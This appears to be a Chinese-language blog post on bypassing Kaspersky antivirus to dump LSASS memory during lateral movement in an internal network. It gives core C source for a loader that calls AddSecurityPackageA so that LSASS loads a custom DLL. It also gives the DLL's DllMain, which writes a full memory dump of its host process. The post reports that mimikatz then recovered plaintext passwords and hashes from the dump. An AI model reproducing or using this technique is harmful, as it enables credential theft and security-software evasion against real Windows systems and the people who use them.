绕过卡巴DUMP LSASS内存

感觉最近被问的最多的一个问题就是在内网横向移动的过程中怎么绕过一些杀毒软件(比如卡巴斯基)来获取LSASS进程里面用户的一些密码哈希值,下面就介绍一种最简单的方法。


由于杀毒软件的存在,直接去读写LSASS进程会被拦截,比如在任务管理器中直接创建转储文件会显示拒绝访问:

又或者直接调用comsvcs.dll中的MiniDump来获取也会被提示拦截:

这里的绕过原理就是调用AddSecurityPackageA函数来让LSASS进程主动加载我们提供的DLL文件,而在DLL加载后会直接DUMP自己宿主进程LSASS的内存,以此来成功绕过杀软的限制。


Talk is cheap. Show me the code!


下面就是加载器SSP核心源码:

int _tmain(int argc, _TCHAR* argv[])
{
    SECURITY_PACKAGE_OPTIONS sp = {0};
    sp.Size = sizeof(sp);
    sp.Type = SECPKG_OPTIONS_TYPE_LSA;
    HMODULE hm = LoadLibraryA("sspicli.dll");
    if (hm) {
        ptr = (pAddSecurityPackage)GetProcAddress(hm, "AddSecurityPackageA");
        if (ptr) {
            ptr("C:\\Users\\sushan\\Desktop\\123.dll",&sp);
        }
    }
    return 0;
}

再下面就是DLL核心源码:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            HANDLE hFile = CreateFile("C:\\Users\\sushan\\Desktop\\test.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            if (hFile != INVALID_HANDLE_VALUE) {
                MiniDumpWriteDump((HANDLE)-1, GetCurrentProcessId(), hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
                CloseHandle(hFile);
            }
        }
    case DLL_THREAD_ATTACH:

总的来说,核心源码不超过20行。


在WIN7 x64上测试,杀软已经更到最新且联网,看下效果:

管理员权限运行SSP.exe,卡巴全程没拦截直接输出test文件,再使用mimikatz加载解析test文件,成功获取测试环境下账号的明文密码以及哈希值:

你可能感兴趣的:(绕过卡巴DUMP LSASS内存)